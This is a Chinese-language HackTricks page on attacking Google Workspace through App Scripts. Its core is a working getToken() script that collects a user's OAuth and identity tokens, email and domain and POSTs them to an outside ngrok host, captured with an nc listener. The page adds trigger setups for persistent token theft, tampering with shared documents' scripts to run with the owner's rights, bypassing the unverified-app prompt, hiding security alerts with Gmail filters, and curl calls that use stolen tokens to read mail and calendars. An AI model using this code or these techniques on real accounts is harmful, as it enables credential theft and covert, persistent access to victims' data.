GWS - App Scripts

支持 HackTricks

App Scripts

App Scripts 是当具有编辑权限的用户访问与 App Script 链接的文档并在接受 OAuth 提示后触发的代码,也可以设置为由 App Script 的所有者每隔一段时间执行一次(持久性)。

创建 App Script

有几种创建 App Script 的方法,尽管最常见的方法是从 Google 文档(任何类型)和作为独立项目创建:

从 Google 文档、表格或幻灯片创建容器绑定项目
  1. 打开文档文档、表格或幻灯片演示文稿。

  2. 点击 扩展 > Google Apps Script

  3. 在脚本编辑器中,点击 无标题项目

  4. 给项目命名,然后点击 重命名

创建独立项目

要从 Apps Script 创建独立项目:

  1. 点击 新项目

  2. 在脚本编辑器中,点击 无标题项目

  3. 给项目命名,然后点击 重命名

从 Google 云端硬盘创建独立项目
  1. 点击 新建 > 更多 > Google Apps Script

从 Google 表单创建容器绑定项目
  1. 在 Google 表单中打开一个表单。

  2. 点击 更多 more_vert > 脚本编辑器

  3. 在脚本编辑器中,点击 无标题项目

  4. 给项目命名,然后点击 重命名

使用 clasp 命令行工具创建独立项目

clasp 是一个命令行工具,允许您从终端创建、拉取/推送和部署 Apps Script 项目。

查看使用 clasp 进行命令行界面的指南获取更多详细信息。

App Script 场景

创建带有 App Script 的 Google 表格

首先创建一个 App Script,我建议在这种情况下创建一个 Google 表格,然后转到 扩展 > App Scripts,这将为您打开一个与表格相关联的新 App Script

泄露令牌

为了授予访问 OAuth 令牌的权限,您需要点击 服务 + 并添加类似的范围

  • AdminDirectory:访问目录的用户和组(如果用户具有足够的权限)

  • Gmail:访问 Gmail 数据

  • Drive:访问 Drive 数据

  • Google Sheets API:使其与触发器一起工作

要自行更改所需的范围,您可以转到项目设置并启用:在编辑器中显示 "appsscript.json" 清单文件

function getToken() {
var userEmail = Session.getActiveUser().getEmail();
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1);
var oauthToken = ScriptApp.getOAuthToken();
var identityToken = ScriptApp.getIdentityToken();

// Data json
data = {
"oauthToken": oauthToken,
"identityToken": identityToken,
"email": userEmail,
"domain": domain
}

// Send data
makePostRequest(data);

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = "";
page = AdminDirectory.Users.list({
domain: domain,  // Use the extracted domain
orderBy: 'givenName',
maxResults: 100,
pageToken: pageToken
});

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10);

// To ask for drive permissions
var files = DriveApp.getFiles();
}


function makePostRequest(data) {
var url = 'http://5.tcp.eu.ngrok.io:12027';

var options = {
'method' : 'post',
'contentType': 'application/json',
'payload' : JSON.stringify(data)
};

try {
UrlFetchApp.fetch(url, options);
} catch (e) {
Logger.log("Error making POST request: " + e.toString());
}
}

要捕获请求,您只需运行:

ngrok tcp 4444
nc -lv 4444 #macOS
执行App脚本所请求的权限:

<figure><img src="../../../.gitbook/assets/image (334).png" alt=""><figcaption></figcaption></figure>

<div data-gb-custom-block data-tag="hint" data-style='warning'>

由于进行外部请求,OAuth提示框还会**请求权限以访问外部端点**

</div>

### 创建触发器

一旦阅读了App,点击**⏰ 触发器**创建一个触发器。在**函数**中选择**`getToken`**,在部署中运行选择**`Head`**,在事件源中选择**`From spreadsheet`**,事件类型选择**`On open`**或**`On edit`**(根据您的需求),然后保存。

请注意,如果要调试某些内容,可以在**执行选项卡中检查App脚本的运行**

### 共享

为了**触发****App脚本**,受害者需要连接到**编辑访问权限**

<div data-gb-custom-block data-tag="hint" data-style='success'>

用于执行**App脚本****令牌**将是**触发器创建者的令牌**,即使其他用户以编辑身份打开文件。

</div>

### 滥用与我共享的文档

<div data-gb-custom-block data-tag="hint" data-style='danger'>

如果有人**与您共享了一个包含App脚本和使用App脚本Head的触发器**的文档,您可以修改App脚本代码(例如添加窃取令牌功能),访问它,**App脚本将以与与您共享文档的用户权限相同的权限执行**!(请注意,所有者的OAuth令牌将具有在创建触发器时给定的访问范围)。

**将向脚本的创建者发送通知,指示有人修改了脚本**(考虑使用gmail权限生成过滤器以防止警报?)

</div>

<div data-gb-custom-block data-tag="hint" data-style='success'>

如果**攻击者修改了App脚本的范围**,更新**不会应用**到文档,直到创建具有更改的**新触发器**。因此,攻击者将无法使用比他在创建触发器时设置的范围更多的权限窃取所有者的创建者令牌。

</div>

### 复制而非共享

当您创建一个共享文档的链接时,会创建类似于以下链接:`https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
如果您将结尾的**"/edit"**更改为**"/copy"**,而不是访问它,谷歌会询问您是否要**生成文档的副本**:

<figure><img src="../../../.gitbook/assets/image (335).png" alt=""><figcaption></figcaption></figure>

如果用户复制并访问它,**文档的内容和App脚本都将被复制**,但**触发器不会**,因此**不会执行任何操作**

### 作为Web应用程序共享

请注意,也可以将**App脚本**作为Web应用程序**共享**(在App脚本的编辑器中,部署为Web应用程序),但会出现如下警报:

<figure><img src="../../../.gitbook/assets/image (337).png" alt=""><figcaption></figcaption></figure>

接着是**典型的OAuth提示**,要求所需的权限。

### 测试

您可以测试收集到的令牌以列出电子邮件:

<div data-gb-custom-block data-tag="code" data-overflow='wrap'>
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"

列出用户的日历:

curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"

应用脚本作为持久性

一种持久性的选择是创建一个文档并添加一个触发器来调用getToken函数,并与攻击者共享文档,这样每次攻击者打开文件时就会窃取受害者的令牌。

还可以创建一个应用脚本,并设置它每隔一段时间触发一次(比如每分钟、每小时、每天...)。一个已经获取了凭据或受害者会话的攻击者可以设置一个应用脚本定时触发器,每天泄露一个非常特权的OAuth令牌

只需创建一个应用脚本,转到触发器,点击添加触发器,选择事件源为时间驱动,并选择最适合您的选项:

这将创建一个安全警报电子邮件和一个推送消息到您的手机,提醒您有关此事。

共享文档未经验证提示绕过

此外,如果有人与您共享了一个具有编辑访问权限的文档,您可以在文档内生成应用脚本,而文档的所有者(创建者)将成为应用脚本的所有者

这意味着,文档的创建者将被视为任何拥有编辑访问权限的人在其中创建的任何应用脚本的创建者

这也意味着,应用脚本将受到文档创建者的 Workspace 环境的信任

这也意味着,如果应用脚本已经存在并且人们已经授予了访问权限,任何具有文档上编辑权限的人都可以修改它并滥用该访问权限。 要滥用此功能,您还需要人们触发应用脚本。一个巧妙的技巧是将脚本发布为 Web 应用程序。当已经授予应用脚本访问权限人们访问网页时,他们将触发应用脚本(这也适用于使用<img>标签)。

支持 HackTricks

Last updated